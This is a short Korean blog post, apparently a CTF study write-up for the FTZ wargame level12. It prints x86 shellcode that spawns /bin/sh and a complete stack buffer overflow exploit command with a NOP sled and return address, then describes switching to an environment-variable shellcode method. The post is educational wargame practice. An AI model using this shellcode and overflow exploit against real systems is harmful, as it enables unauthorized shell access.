CTF 공부/FTZ

[FTZ]level12

JJWANIC 2020. 1. 23. 16:34

힌트를 보면

level11과 비슷한데 buf overflow 버그가 있네요.
전에 풀었던 방법으로 풀어봅시다.

사용한 Shell code:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

level11과 같이 A를 264개 채워서 실행한 후 argv[1]의 주소를 찾아보겠습니다.

0xbffffb38 + d = 0xbffffb45 (argv[1] address)

./Process_name `python -c 'print "\x90" * 243 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x45\xfb\xff\xbf"'`

아 한가지 실수를 했네요. 잘 보면 인자로 전달하는 것이 아닌, gets를 통해 값을 받습니다. ㅠ_ㅠ

그럼 argv[1] 주소가 필요가 없어지죠... 심지어 인자를 받지도 않네요...

다시 풀어봅시다. 

EGG Shell을 이용해서 풀어보겠습니다.
환경 변수에 쉘코드를 등록시키고 프로세스가 종료될 때 ret 주소에 환경 변수의 주소를 넣어
shell을 실행시키는 방법입니다.!

EGG라는 환경변수에 쉘코드를 넣고,

그 환경변수의 주소를 확인합니다. 그리고 그 환경변수를 이용하여 실행을 시켜보면

성공